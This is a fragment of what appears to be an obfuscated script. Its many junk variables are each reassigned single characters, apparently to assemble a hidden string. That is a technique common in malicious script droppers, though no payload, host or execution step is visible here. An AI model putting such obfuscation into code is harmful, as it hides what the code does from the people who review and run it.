238	pqkzkoibv = "t";
239	pqkzkoibv = "N";
240	pqkzkoibv = "m";
241	pqkzkoibv = "i";
242	pqkzkoibv = "Z";
243	pqkzkoibv = "F";
244	pqkzkoibv = "r";
245	pqkzkoibv = "q";
246	lehbenv = "i";
247	lehbenv = "g";
248	lehbenv = "X";
249	lehbenv = "B";
250	lehbenv = "G";
251	lehbenv = "m";
252	lehbenv = "g";
253	lehbenv = "t";
254	lehbenv = "p";
255	lehbenv = "i";
256	lehbenv = "w";
257	aluksgoya = "s";
258	aluksgoya = "Y";
259	aluksgoya = "l";
260	aluksgoya = "Y";
261	aluksgoya = "X";
262	aluksgoya = "L";
263	yqldjxzik = "b";
264	yqldjxzik = "V";
265	yqldjxzik = "h";
266	yqldjxzik = "X";
267	yqldjxzik = "C";
268	yqldjxzik = "F";
269	yqldjxzik = "V";
270	yqldjxzik = "L";
271	yqldjxzik = "Z";
272	yqldjxzik = "Q";
273	yqldjxzik = "C";
274	yqldjxzik = "U";
275	yqldjxzik = "4";
276	yyuiqiw = "q";
277	yyuiqiw = "w";
278	yyuiqiw = "N";
279	yyuiqiw = "w";
280	yyuiqiw = "a";
281	yyuiqiw = "A";
282	yyuiqiw = "b";
283	yyuiqiw = "k";
284	yyuiqiw = "O";
285	yyuiqiw = "j";
286	yyuiqiw = "E";
287	yyuiqiw = "u";
288	yyuiqiw = "M";
289	yyuiqiw = "s";
290	yyuiqiw = "i";
291	yyuiqiw = "u";
292	yyuiqiw = "n";
293	yyuiqiw = "M";
294	yyuiqiw = "b";
295	yyuiqiw = "z";
296	yyuiqiw = "l";
297	yyuiqiw = "y";
298	yyuiqiw = "m";
299	yyuiqiw = "X";
300	yyuiqiw = "I";
301	yyuiqiw = "X";
302	yyuiqiw = "g";
303	yyuiqiw = "K";
304	yyuiqiw = "d";
305	yyuiqiw = "U";
306	yyuiqiw = "t";
307	yyuiqiw = "T";
308	yyuiqiw = "z";
309	yyuiqiw = "h";
310	yyuiqiw = "s";
311	yyuiqiw = "Q";
312	yyuiqiw = "F";
313	yyuiqiw = "a";
314	yyuiqiw = "I";
315	yyuiqiw = "i";
316	yyuiqiw = "Q";
317	lkmwbdiw = "v";
318	lkmwbdiw = "p";
319	lkmwbdiw = "D";
320	lkmwbdiw = "E";
321	lkmwbdiw = "N";
322	lkmwbdiw = "a";
323	lkmwbdiw = "E";
324	lkmwbdiw = "x";
325	lkmwbdiw = "d";
326	lkmwbdiw = "5";
327	gtnczcq = "h";
328	gtnczcq = "Q";
329	gtnczcq = "i";
330	gtnczcq = "F";
331	gtnczcq = "g";
332	gtnczcq = "V";
333	gtnczcq = "e";
334	gtnczcq = "P";
335	gtnczcq = "q";
336	gtnczcq = "e";
337	gtnczcq = "t";
338	gtnczcq = "j";
339	gtnczcq = "Y";
340	gtnczcq = "I";
341	gtnczcq = "a";
342	gtnczcq = "q";
343	gtnczcq = "R";
344	gtnczcq = "B";
345	gtnczcq = "x";
346	gtnczcq = "F";
347	gtnczcq = "k";
348	gtnczcq = "q";
349	gtnczcq = "S";
350	gtnczcq = "d";
351	gtnczcq = "q";
352	gtnczcq = "x";
353	gtnczcq = "V";
354	gtnczcq = "L";
355	gtnczcq = "E";
356	gtnczcq = "f";
357	gtnczcq = "f";
358	gtnczcq = "M";
359	gtnczcq = "r";
360	gtnczcq = "r";
361	gtnczcq = "x";
362	dkjnzfgpt = "C";
363	dkjnzfgpt = "G";
364	dkjnzfgpt = "Q";
365	dkjnzfgpt = "t";
366	dkjnzfgpt = "E";
367	dkjnzfgpt = "u";
368	wdnxxszee = "H";
369	wdnxxszee = "U";
370	wdnxxszee = "R";
371	wdnxxszee = "V";
372	wdnxxszee = "J";
373	wdnxxszee = "c";
374	wdnxxszee = "K";
375	wdnxxszee = "g";
376	wdnxxszee = "a";
377	wdnxxszee = "t";
378	wdnxxszee = "a";
379	wdnxxszee = "t";
380	wdnxxszee = "m";
381	wdnxxszee = "T";
382	wdnxxszee = "C";
383	wdnxxszee = "y";
384	wdnxxszee = "m";
385	wdnxxszee = "B";
386	wdnxxszee = "W";
387	wdnxxszee = "r";
388	wdnxxszee = "F";
389	wdnxxszee = "Y";
390	wdnxxszee = "z";
391	wdnxxszee = "C";
392	wdnxxszee = "f";
393	wdnxxszee = "q";
394	wdnxxszee = "f";
395	wdnxxszee = "y";
396	wdnxxszee = "e";
397	wdnxxszee = "t";
398	wdnxxszee = "Y";
399	wdnxxszee = "l";
400	wdnxxszee = "s";
401	wdnxxszee = "F";
402	wdnxxszee = "Y";
403	wdnxxszee = "g";
404	wdnxxszee = "J";
405	wdnxxszee = "X";
406	wdnxxszee = "B";
407	wdnxxszee = "Z";
408	wdnxxszee = "P";
409	wdnxxszee = "G";
410	wdnxxszee = "Q";
411	wdnxxszee = "J";
412	wdnxxszee = "p";
413	msvyslwbr = "D";
414	msvyslwbr = "D";
415	msvyslwbr = "W";
416	xyxlrrvg = "o";
417	xyxlrrvg = "G";
418	xyxlrrvg = "b";
419	bhcdpr = "Z";
420	bhcdpr = "z";
421	bhcdpr = "U";
422	bhcdpr = "Q";
423	bhcdpr = "h";
424	bhcdpr = "B";
425	bhcdpr = "g";
426	bhcdpr = "D";
427	bhcdpr = "N";
428	bhcdpr = "c";
429	bhcdpr = "T";
430	bhcdpr = "w";
431	bhcdpr = "C";
432	bhcdpr = "f";
433	bhcdpr = "U";
434	bhcdpr = "O";
435	bhcdpr = "e";
436	bhcdpr = "H";
437	bhcdpr = "C";
438	bhcdpr = "y";
439	bhcdpr = "l";
440	bhcdpr = "t";
441	bhcdpr = "y";
442	bhcdpr = "C";
443	bhcdpr = "R";
444	bhcdpr = "k";
445	bhcdpr = "N";
446	bhcdpr = "k";
447	bhcdpr = "g";
448	bhcdpr = "H";
449	bhcdpr = "K";
450	bhcdpr = "A";
451	bhcdpr = "E";
452	bhcdpr = "m";
453	bhcdpr = "d";
454	kxslilm = "x";
455	kxslilm = "I";
456	kxslilm = "C";
457	kxslilm = "n";
458	kxslilm = "f";
459	kxslilm = "u";
460	kxslilm = "F";
461	kxslilm = "k";
462	kxslilm = "A";
463	kxslilm = "n";
464	kxslilm = "s";
465	kxslilm = "n";
466	kxslilm = "g";
467	kxslilm = "v";
468	kxslilm = "y";
469	kxslilm = "h";
470	kxslilm = "M";
471	kxslilm = "s";
472	kxslilm = "j";
473	kxslilm = "i";
474	kxslilm = "x";
475	kxslilm = "I";
476	kxslilm = "a";
477	kxslilm = "i";
478	kxslilm = "D";
479	kxslilm = "V";
480	kxslilm = "o";
481	kxslilm = "K";
482	kxslilm = "U";
483	kxslilm = "p";
484	kxslilm = "O";
485	kxslilm = "C";
486	kxslilm = "J";
487	kxslilm = "J";
488	kxslilm = "S";
489	kxslilm = "A";
490	kxslilm = "u";
491	kxslilm = "l";
492	kxslilm = "B";
493	kxslilm = "D";
494	kxslilm = "T";
495	prwozwnft = "d";
496	prwozwnft = "N";
497	prwozwnft = "B";
498	prwozwnft = "p";
499	prwozwnft = "P";
500	prwozwnft = "W";
501	prwozwnft = "j";
502	prwozwnft = "1";
503	dmbqmc = "q";
504	dmbqmc = "i";
505	dmbqmc = "K";
506	dmbqmc = "k";
507	dmbqmc = "n";
508	dmbqmc = "s";
509	dmbqmc = "w";
510	dmbqmc = "Q";
511	dmbqmc = "F";
512	dmbqmc = "q";
513	dmbqmc = "7";
514	uocsavc = "s";
515	uocsavc = "B";
516	uocsavc = "y";
517	uocsavc = "J";
518	uocsavc = "v";
519	uocsavc = "Q";
520	uocsavc = "d";
521	uocsavc = "f";
522	uocsavc = "Y";
523	uocsavc = "G";
524	uocsavc = "Z";
525	uocsavc = "q";
526	uocsavc = "D";
527	uocsavc = "F";
528	uocsavc = "e";
529	uocsavc = "m";
530	uocsavc = "f";
531	uocsavc = "r";
532	uocsavc = "H";
533	uocsavc = "f";
534	uocsavc = "E";
535	uocsavc = "W";
536	uocsavc = "t";
537	uocsavc = "Q";
538	uocsavc = "F";
539	uocsavc = "l";
540	uocsavc = "O";
541	uocsavc = "K";
542	uocsavc = "b";
543	uocsavc = "H";
544	uocsavc = "m";
545	uocsavc = "X";
546	uocsavc = "E";
547	uocsavc = "v";
548	uocsavc = "E";
549	uocsavc = "L";
550	uocsavc = "t";
551	uocsavc = "u";
552	uocsavc = "M";
553	uocsavc = "\"";
554	kvlqdksm = "U";
555	kvlqdksm = "z";
556	kvlqdksm = "M";
557	kvlqdksm = "h";
558	kvlqdksm = "o";
559	kvlqdksm = "R";
560	kvlqdksm = "Q";
561	kvlqdksm = "v";
562	kvlqdksm = "Q";
563	kvlqdksm = "X";
564	kvlqdksm = "y";
565	kvlqdksm = "l";
566	kvlqdksm = "E";
567	kvlqdksm = "o";
568	kvlqdksm = "L";
569	kvlqdksm = "N";
570	kvlqdksm = "a";
571	kvlqdksm = "s";
572	kvlqdksm = "L";
573	kvlqdksm = "h";
574	kvlqdksm = "M";
575	kvlqdksm = "g";
576	kvlqdksm = "K";
577	kvlqdksm = "C";
578	kvlqdksm = "I";
579	kvlqdksm = "P";
580	kvlqdksm = "K";
581	kvlqdksm = "n";
582	kvlqdksm = "k";
583	kvlqdksm = "z";
584	kvlqdksm = "o";
585	kvlqdksm = "P";
586	kvlqdksm = "R";
587	kvlqdksm = "l";
588	kvlqdksm = "Y";
589	kvlqdksm = "k";
590	kvlqdksm = "F";
591	kvlqdksm = "X";
592	kvlqdksm = "B";
593	kvlqdksm = "G";
594	kvlqdksm = "g";
595	kvlqdksm = "t";
596	kvlqdksm = "K";
597	kvlqdksm = "k";
598	nntom = "G";
599	nntom = "X";
600	nntom = "Y";
601	nntom = "b";
602	nntom = "B";
603	nntom = "a";
604	nntom = "N";
605	nntom = "F";
606	nntom = "R";
607	nntom = "H";
608	nntom = "Q";
609	nntom = "q";
610	nntom = "e";
611	nntom = "t";
612	nntom = "K";
613	nntom = "e";
614	nntom = "S";
615	nntom = "f";
616	nntom = "T";
617	nntom = "k";
618	nntom = "l";
619	nntom = "F";
620	nntom = "u";
621	nntom = "S";
622	nntom = "D";
623	nntom = "b";
624	nntom = "Q";
625	nntom = "X";
626	nntom = "n";
627	nntom = "Y";
628	nntom = "y";
629	nntom = "o";
630	nntom = "V";
631	nntom = "p";
632	nntom = "l";
633	nntom = "h";
634	pmoxauh = "S";
635	pmoxauh = "C";
636	pmoxauh = "v";
637	pmoxauh = "U";
638	pmoxauh = "F";
639	pmoxauh = "d";
640	pmoxauh = "e";
641	pmoxauh = "s";
642	pmoxauh = "E";
643	pmoxauh = "X";
644	pmoxauh = "g";
645	pmoxauh = "d";
646	pmoxauh = "S";
647	pmoxauh = "O";
648	pmoxauh = "y";
649	pmoxauh = "q";
650	pmoxauh = "E";
651	pmoxauh = "W";
652	pmoxauh = "M";
653	pmoxauh = "L";
654	pmoxauh = "L";
655	pmoxauh = "G";
656	pmoxauh = "g";
657	pmoxauh = "p";
658	pmoxauh = "h";
659	pmoxauh = "n";
660	pmoxauh = "E";
661	pmoxauh = "g";
662	pmoxauh = "s";
663	pmoxauh = "j";
664	pmoxauh = "q";
665	pmoxauh = "Z";
666	pmoxauh = "l";
667	pmoxauh = "g";
668	pmoxauh = "y";
669	pmoxauh = "D";
670	pmoxauh = "p";
671	pmoxauh = "N";
672	syppp = "t";
673	syppp = "n";
674	syppp = "H";
675	vmrsnesld = "W";
676	vmrsnesld = "m";
677	vmrsnesld = "l";
678	vmrsnesld = "H";
679	vmrsnesld = "y";
680	vmrsnesld = "B";
681	vmrsnesld = "j";
682	vmrsnesld = "n";
683	vmrsnesld = "S";
684	vmrsnesld = "s";
685	vmrsnesld = "a";
686	vmrsnesld = "W";
687	vmrsnesld = "z";
688	vmrsnesld = "U";
689	vmrsnesld = "n";
690	vmrsnesld = "q";
691	vmrsnesld = "c";
692	vmrsnesld = "R";
693	gazqp = "q";
694	gazqp = "s";
695	gazqp = "b";
696	gazqp = "c";
697	gazqp = "h";
698	gazqp = "Q";
699	gazqp = "T";
700	gazqp = "d";
701	gazqp = "x";
702	gazqp = "B";
703	gazqp = "h";
704	gazqp = "G";
705	gazqp = "z";
706	gazqp = "p";
707	gazqp = "k";
708	gazqp = "M";
709	gazqp = "v";
710	gazqp = "H";
711	gazqp = "m";
712	gazqp = "d";
713	gazqp = "O";
714	gazqp = "S";
715	gazqp = "X";
716	gazqp = "r";
717	gazqp = "c";
718	gazqp = "n";
719	gazqp = "h";
720	gazqp = "l";
721	gazqp = "l";
722	gazqp = "J";
723	gazqp = "M";
724	gazqp = "O";
725	gazqp = "M";
726	gazqp = "Y";
727	gazqp = "r";
728	fskoxyh = "a";
729	fskoxyh = "F";
730	fskoxyh = "A";
731	fskoxyh = "Z";
732	fskoxyh = "a";
733	fskoxyh = "a";
734	fskoxyh = "G";
735	fskoxyh = "V";
736	fskoxyh = "S";
737	fskoxyh = "p";
738	fskoxyh = "z";
739	fskoxyh = "p";
740	fskoxyh = "K";
741	fskoxyh = "%";
742	nhcxbfkg = "e";
743	nhcxbfkg = "K";
744	nhcxbfkg = "d";
745	nhcxbfkg = "U";
746	nhcxbfkg = "C";
747	nhcxbfkg = "C";
748	nhcxbfkg = "v";
749	nhcxbfkg = "a";
750	nhcxbfkg = "z";
751	nhcxbfkg = "B";
752	nhcxbfkg = "P";
753	nhcxbfkg = "U";
754	nhcxbfkg = "t";
755	nhcxbfkg = "J";
756	nhcxbfkg = "N";
757	nhcxbfkg = "y";
758	nhcxbfkg = "J";
759	nhcxbfkg = "X";
760	nhcxbfkg = "d";
761	nhcxbfkg = "e";
762	nhcxbfkg = "U";
763	nhcxbfkg = "q";
764	nhcxbfkg = "Y";
765	nhcxbfkg = "r";
766	nhcxbfkg = "j";
767	nhcxbfkg = "E";
768	nhcxbfkg = "L";
769	nhcxbfkg = "M";
770	nhcxbfkg = "F";
771	nhcxbfkg = "b";
772	nhcxbfkg = "h";
773	nhcxbfkg = "h";
774	nhcxbfkg = "P";
775	nhcxbfkg = "K";
776	nhcxbfkg = "J";
777	nhcxbfkg = "J";
778	nhcxbfkg = "K";
779	nhcxbfkg = "j";
780	nhcxbfkg = "y";
781	nhcxbfkg = "u";
782	nhcxbfkg = "u";
783	nhcxbfkg = "D";
784	nhcxbfkg = "X";
785	nhcxbfkg = "F";
786	nhcxbfkg = "a";
787	ruwptwd = "b";
788	ruwptwd = "T";
789	ruwptwd = "Y";
790	ruwptwd = "L";
791	ruwptwd = "j";
792	ruwptwd = "C";
793	ruwptwd = "o";
794	ruwptwd = "V";
795	ruwptwd = "C";
796	ruwptwd = "Z";
797	ruwptwd = "H";
798	ruwptwd = "W";
799	ruwptwd = "n";
800	ruwptwd = "f";
801	ruwptwd = "i";
802	ruwptwd = "o";
803	ruwptwd = "X";
804	ruwptwd = "N";
805	ruwptwd = "Z";
806	ruwptwd = "x";
807	ruwptwd = "S";
808	ruwptwd = "l";
809	ruwptwd = "t";
810	ruwptwd = "y";
811	ruwptwd = "F";
812	ruwptwd = "H";
813	ruwptwd = "-";
814	dklph = "I";
815	dklph = "c";
816	dklph = "V";
817	dklph = "L";
818	dklph = "Z";
819	dklph = "T";
820	dklph = "e";
821	dklph = "r";
822	dklph = "x";
823	dklph = "i";
824	dklph = "s";
825	dklph = "A";
826	dklph = "v";
827	dklph = "a";
828	dklph = "N";
829	dklph = "C";
830	dklph = "Z";
831	dklph = "s";
832	dklph = "F";
833	dklph = "n";
834	dklph = "Y";
835	dklph = "u";
836	dklph = "X";
837	dklph = "P";
838	dklph = "p";
839	dklph = "Y";
840	dklph = "v";
841	dklph = "O";
842	dklph = "f";
843	dklph = "X";
844	dklph = "V";
845	dklph = "f";
846	moujx = "p";
847	moujx = "q";
848	moujx = "k";
849	moujx = "W";
850	moujx = "z";
851	moujx = "X";
852	moujx = "S";
853	moujx = "q";
854	moujx = "x";
855	moujx = "n";
856	moujx = "D";
857	moujx = "q";
858	moujx = "C";
859	moujx = "W";
860	moujx = "M";
861	moujx = "Y";
862	moujx = "k";
863	moujx = "v";
864	moujx = "Q";
865	moujx = "t";
866	moujx = "F";
867	moujx = "F";
868	moujx = "W";
869	moujx = "W";
870	moujx = "m";
871	moujx = "Y";
872	moujx = "X";
873	moujx = "E";
874	moujx = "t";
875	moujx = "A";
876	moujx = "k";
877	moujx = "Q";
878	moujx = "N";
879	moujx = "B";
880	moujx = "x";
881	moujx = "i";
882	moujx = "e";
883	moujx = "l";
884	moujx = "W";
885	moujx = "l";
886	moujx = "G";
887	moujx = "b";
888	moujx = "g";
889	xgmpo = "B";
890	xgmpo = "w";
891	xgmpo = "k";
892	xgmpo = "r";
893	xgmpo = "q";
894	xgmpo = "C";
895	xgmpo = "C";
896	xgmpo = "k";
897	xgmpo = "L";
898	xgmpo = "C";
899	xgmpo = "X";
900	xgmpo = "K";
901	xgmpo = "G";
902	xgmpo = "n";
903	xgmpo = "A";
904	xgmpo = "G";
905	xgmpo = "X";
906	xgmpo = "l";
907	xgmpo = "v";
908	xgmpo = "S";
909	xgmpo = "H";
910	xgmpo = "t";
911	xgmpo = "Z";
912	xgmpo = "w";
913	xgmpo = "T";
914	xgmpo = "v";
915	xgmpo = "k";
916	xgmpo = "i";
917	xgmpo = "F";
918	xgmpo = "N";
919	xgmpo = "x";
920	xgmpo = "Y";
921	xgmpo = "F";
922	xgmpo = "n";
923	xgmpo = "X";
924	xgmpo = "b";
925	xgmpo = "k";
926	xgmpo = "l";
927	jjccix = "u";
928	jjccix = "s";
929	jjccix = "I";
930	jjccix = "U";
931	jjccix = "v";
932	jjccix = "u";
933	jjccix = "e";
934	jjccix = "a";
935	jjccix = "p";
936	jjccix = "D";
937	jjccix = "E";
938	jjccix = "S";
939	jjccix = "B";
940	jjccix = "d";
941	jjccix = "T";
942	jjccix = "C";
943	jjccix = "m";
944	jjccix = "W";
945	jjccix = "c";
946	qznblbl = "v";
947	qznblbl = "R";
948	qznblbl = "x";
949	qznblbl = "o";
950	qznblbl = "X";
951	qznblbl = "r";
952	qznblbl = "u";
953	qznblbl = "Z";
954	qznblbl = "j";
955	qznblbl = "Q";
956	qznblbl = "t";
957	qznblbl = "L";
958	qznblbl = "I";
959	qznblbl = "q";
960	qznblbl = "g";
961	qznblbl = "N";
962	qznblbl = "b";
963	qznblbl = "G";
964	qznblbl = "l";
965	qznblbl = "U";
966	qznblbl = "o";
967	qznblbl = "I";
968	qznblbl = "X";
969	qznblbl = "L";
970	qznblbl = "k";
971	qznblbl = "S";
972	qznblbl = "P";
973	qznblbl = "Z";
974	qznblbl = "n";
975	qznblbl = "j";
976	qznblbl = "A";
977	qznblbl = "Z";
978	qznblbl = "U";
979	qznblbl = "X";
980	qznblbl = "O";
981	qznblbl = "B";
982	qznblbl = "m";
983	qznblbl = "f";
984	qznblbl = "u";
985	qznblbl = "S";
986	qznblbl = "R";
987	qznblbl = "B";
988	qznblbl = "n";
989	qznblbl = "U";
990	qcxsrymiy = "k";
991	qcxsrymiy = "g";
992	qcxsrymiy = "U";
993	qcxsrymiy = "s";
994	qcxsrymiy = "f";
995	qcxsrymiy = "X";
996	qcxsrymiy = "j";
997	qcxsrymiy = "C";
998	ejcru = "e";
999	ejcru = "I";
1000	ejcru = "f";
1001	ejcru = "G";
1002	ejcru = "E";
1003	ejcru = "F";
1004	ejcru = "F";
1005	ejcru = "z";
1006	ejcru = "O";
1007	ejcru = "g";
1008	ejcru = "k";
1009	ejcru = "f";
1010	ejcru = "X";
1011	ejcru = "M";
1012	ejcru = "H";
1013	ejcru = "z";
1014	ejcru = "p";
1015	ejcru = "o";
1016	ejcru = "M";
1017	ejcru = "F";
1018	ejcru = "b";
1019	ejcru = "a";
1020	ejcru = "O";
1021	ejcru = "i";
1022	vzngh = "d";
1023	vzngh = "S";
1024	vzngh = "y";
1025	vzngh = "J";
1026	vzngh = "c";
1027	vzngh = "z";
1028	vzngh = "a";
1029	vzngh = "A";
1030	vzngh = "P";
1031	vzngh = "O";
1032	vzngh = "k";
1033	vzngh = "y";
1034	vzngh = "l";
1035	vzngh = "p";
1036	vzngh = "X";
1037	vzngh = "E";
1038	vzngh = "E";
1039	vzngh = "c";
1040	vzngh = "i";
1041	vzngh = "H";
1042	vzngh = "O";
1043	vzngh = "j";
1044	vzngh = "V";
1045	vzngh = "R";
1046	vzngh = "v";
1047	vzngh = "F";
1048	vzngh = "q";
1049	vzngh = "S";
1050	vzngh = "M";
1051	vzngh = "W";
1052	vzngh = "G";
1053	vzngh = "Q";
1054	vzngh = "Z";
1055	vzngh = "R";
1056	vzngh = "C";
1057	vzngh = "i";
1058	vzngh = "O";
1059	lzwnj = "y";
1060	lzwnj = "g";
1061	lzwnj = "A";
1062	lzwnj = "r";
1063	lzwnj = "P";
1064	lzwnj = "i";
1065	lzwnj = "r";
1066	lzwnj = "B";
1067	lzwnj = "P";
1068	lzwnj = "t";
1069	lzwnj = "k";
1070	lzwnj = "B";
1071	lzwnj = "B";
1072	lzwnj = "R";
1073	lzwnj = "D";
1074	lzwnj = "/";
1075	thynwbyco = "M";
1076	thynwbyco = "g";
1077	thynwbyco = "Y";
1078	thynwbyco = "p";
1079	thynwbyco = "F";
1080	thynwbyco = "u";
1081	thynwbyco = "z";
1082	thynwbyco = "P";
1083	thynwbyco = "G";
1084	thynwbyco = "H";
1085	thynwbyco = "q";
1086	thynwbyco = "h";
1087	thynwbyco = "N";
1088	thynwbyco = "T";
1089	thynwbyco = "n";
1090	thynwbyco = "W";
1091	thynwbyco = "v";
1092	thynwbyco = "q";
1093	thynwbyco = "H";
1094	thynwbyco = "m";
1095	thynwbyco = "b";
1096	thynwbyco = "r";
1097	thynwbyco = "h";
1098	thynwbyco = "n";
1099	thynwbyco = "K";
1100	thynwbyco = "w";
1101	thynwbyco = "u";
1102	thynwbyco = "P";
1103	thynwbyco = "P";
1104	thynwbyco = "c";
1105	thynwbyco = "T";
1106	thynwbyco = "L";
1107	thynwbyco = "Z";
1108	thynwbyco = "b";
1109	thynwbyco = "N";
1110	thynwbyco = "F";
1111	thynwbyco = "r";
1112	thynwbyco = "N";
1113	thynwbyco = "Z";
1114	thynwbyco = "u";
1115	thynwbyco = "W";
1116	thynwbyco = "J";
1117	thynwbyco = "2";
1118	hlcrejwj = "m";
1119	hlcrejwj = "K";
1120	hlcrejwj = "Y";
1121	hlcrejwj = "u";
1122	hlcrejwj = "R";
1123	hlcrejwj = "U";
1124	hlcrejwj = "c";
1125	hlcrejwj = "n";
1126	hlcrejwj = "N";
1127	hlcrejwj = "j";
1128	hlcrejwj = "k";
1129	hlcrejwj = "L";
1130	hlcrejwj = "B";
1131	hlcrejwj = "K";
1132	hlcrejwj = "S";
1133	hlcrejwj = "w";
1134	hlcrejwj = "D";
1135	hlcrejwj = "s";
1136	hlcrejwj = "k";
1137	hlcrejwj = "A";
1138	hlcrejwj = "x";
1139	hlcrejwj = "W";
1140	hlcrejwj = "L";
1141	hlcrejwj = "a";
1142	hlcrejwj = "Q";
1143	hlcrejwj = "Q";
1144	hlcrejwj = "i";
1145	hlcrejwj = "J";
1146	hlcrejwj = "K";
1147	hlcrejwj = "J";
1148	hlcrejwj = "P";
1149	hlcrejwj = "w";
1150	hlcrejwj = "q";
1151	hlcrejwj = "E";
1152	hlcrejwj = "c";
1153	hlcrejwj = "f";
1154	hlcrejwj = "m";
1155	hlcrejwj = "e";
1156	hlcrejwj = "n";
1157	hlcrejwj = "q";
1158	hlcrejwj = "D";
1159	hlcrejwj = "v";
1160	hlcrejwj = ":";
1161	zqxfnpqbs = "E";
1162	zqxfnpqbs = "u";
1163	zqxfnpqbs = "k";
1164	zqxfnpqbs = "u";
1165	zqxfnpqbs = "M";
1166	zqxfnpqbs = "B";
1167	zqxfnpqbs = "d";
1168	zqxfnpqbs = "A";
1169	zqxfnpqbs = "o";
1170	zqxfnpqbs = "x";
1171	zqxfnpqbs = "F";
1172	zqxfnpqbs = "z";
1173	zqxfnpqbs = "y";
1174	zqxfnpqbs = "k";
1175	zqxfnpqbs = "v";
1176	zqxfnpqbs = "K";
1177	zqxfnpqbs = "h";
1178	zqxfnpqbs = "b";
1179	zqxfnpqbs = "q";
1180	zqxfnpqbs = "O";
1181	zqxfnpqbs = "t";
1182	zqxfnpqbs = "Y";
1183	zovqzwr = "O";
1184	zovqzwr = "Y";
1185	zovqzwr = "c";
1186	zovqzwr = "I";
1187	zovqzwr = "y";
1188	zovqzwr = "Q";
1189	zovqzwr = "o";
1190	zovqzwr = "y";
1191	zovqzwr = "a";
1192	zovqzwr = "3";
1193	fctppdrn = "t";
1194	fctppdrn = "j";
1195	fctppdrn = "W";
1196	fctppdrn = "r";
1197	fctppdrn = "Q";
1198	fctppdrn = "d";
1199	fctppdrn = "p";
1200	fctppdrn = "a";
1201	fctppdrn = "k";
1202	fctppdrn = "X";
1203	fctppdrn = "k";
1204	fctppdrn = "s";
1205	fctppdrn = "r";
1206	fctppdrn = "u";
1207	fctppdrn = "B";
1208	fctppdrn = "t";
1209	fctppdrn = "j";
1210	fctppdrn = "f";
1211	fctppdrn = "A";
1212	fctppdrn = "t";
1213	fctppdrn = "f";
1214	fctppdrn = "Y";
1215	fctppdrn = "u";
1216	fctppdrn = "R";
1217	fctppdrn = "i";
1218	fctppdrn = "J";
1219	fctppdrn = "J";
1220	fctppdrn = "g";
1221	fctppdrn = "r";
1222	fctppdrn = "Y";
1223	fctppdrn = "j";
1224	fctppdrn = "W";
1225	fctppdrn = "E";
1226	fctppdrn = "F";
1227	fctppdrn = "B";
1228	fctppdrn = "t";
1229	fctppdrn = "U";
1230	fctppdrn = "V";
1231	fctppdrn = "Q";
1232	fctppdrn = "z";
1233	fctppdrn = "l";
1234	fctppdrn = ".";
1235	vakapm = "A";
1236	vakapm = "X";
1237	vakapm = "l";
1238	vakapm = "x";
1239	vakapm = "h";
1240	vakapm = "S";
1241	vakapm = "p";
1242	vakapm = "p";
1243	vakapm = "f";
1244	vakapm = "d";
1245	vakapm = "P";
1246	vakapm = "F";
1247	vakapm = "n";
1248	vakapm = "v";
1249	vakapm = "o";
1250	vakapm = "d";
1251	vakapm = "b";
1252	vakapm = "H";
1253	vakapm = "S";
1254	vakapm = "D";
1255	vakapm = "U";
1256	vakapm = "A";
1257	vakapm = "D";
1258	vakapm = "S";
1259	vakapm = "H";
1260	vakapm = "i";
1261	vakapm = "e";
1262	vakapm = "s";
1263	vakapm = "a";
1264	vakapm = "f";
1265	vakapm = "C";
1266	vakapm = "Q";
1267	vakapm = "M";
1268	vakapm = "x";
1269	vakapm = "I";
1270	vakapm = "a";
1271	vakapm = "F";
1272	vakapm = "A";
1273	vakapm = "z";
1274	vakapm = "F";
1275	vakapm = "W";
1276	vakapm = "M";
1277	vakapm = "L";
1278	vakapm = "t";
1279	fyxherc = "G";
1280	fyxherc = "v";
1281	fyxherc = "Z";
1282	fyxherc = "B";
1283	fyxherc = "E";
1284	fyxherc = "F";
1285	fyxherc = "a";
1286	fyxherc = "o";
1287	fyxherc = "f";
1288	fyxherc = "R";
1289	fyxherc = "W";
1290	fyxherc = "s";
1291	fyxherc = "M";
1292	fyxherc = "l";
1293	fyxherc = "P";
1294	okijrkc = "b";
1295	okijrkc = "Q";
1296	okijrkc = "e";
1297	okijrkc = "P";
1298	okijrkc = "I";
1299	okijrkc = "N";
1300	okijrkc = "M";
1301	okijrkc = "m";
1302	iovfng = "J";
1303	iovfng = "R";
1304	iovfng = "t";
1305	iovfng = "u";
1306	iovfng = "y";
1307	iovfng = "m";
1308	iovfng = "g";
1309	iovfng = "p";
1310	iovfng = "x";
1311	iovfng = "Z";
1312	iovfng = " ";
1313	qojmkap = "j";
1314	qojmkap = "Z";
1315	qojmkap = "N";
1316	qojmkap = "x";
1317	qojmkap = "i";
1318	qojmkap = "c";
1319	qojmkap = "B";
1320	qojmkap = "F";
1321	qojmkap = "F";
1322	qojmkap = "e";
1323	qojmkap = "u";
1324	qojmkap = "V";
1325	qojmkap = "y";
1326	qojmkap = "D";
1327	qojmkap = "x";
1328	qojmkap = "Y";
1329	qojmkap = "d";
1330	qojmkap = "a";
1331	qojmkap = "j";
1332	qojmkap = "a";
1333	qojmkap = "W";
1334	qojmkap = "h";
1335	qojmkap = "D";
1336	qojmkap = "i";
1337	qojmkap = "F";
1338	qojmkap = "U";
1339	qojmkap = "J";
1340	qojmkap = "a";
1341	qojmkap = "p";
1342	qojmkap = "F";
1343	bmhhel = "f";
1344	bmhhel = "V";
1345	bmhhel = "L";
1346	bmhhel = "o";
1347	bmhhel = "K";
1348	bmhhel = "o";
1349	bmhhel = "E";
1350	bmhhel = "D";
1351	bmhhel = "a";
1352	bmhhel = "x";
1353	bmhhel = "l";
1354	bmhhel = "H";
1355	bmhhel = "K";
1356	bmhhel = "Q";
1357	bmhhel = "C";
1358	bmhhel = "l";
1359	bmhhel = "v";
1360	bmhhel = "X";
1361	bmhhel = "s";
1362	bmhhel = "6";
1363	dgafch = "L";
1364	dgafch = "E";
1365	dgafch = "y";
1366	dgafch = "Y";
1367	dgafch = "j";
1368	dgafch = "G";
1369	dgafch = "K";
1370	dgafch = "c";
1371	dgafch = "d";
1372	dgafch = "s";
1373	dgafch = "f";
1374	dgafch = "z";
1375	dgafch = "l";
1376	dgafch = "H";
1377	dgafch = "n";
1378	dgafch = "q";
1379	dgafch = "A";
1380	dgafch = "o";
1381	dgafch = "a";
1382	dgafch = "O";
1383	dgafch = "y";
1384	dgafch = "X";
1385	dgafch = "j";
1386	dgafch = "w";
1387	dgafch = "&";
1388	vedskrrtw = "k";
1389	vedskrrtw = "e";
1390	vedskrrtw = "K";
1391	vedskrrtw = "u";
1392	vedskrrtw = "A";
1393	vedskrrtw = "Z";
1394	vedskrrtw = "O";
1395	vedskrrtw = "z";
1396	vedskrrtw = "k";
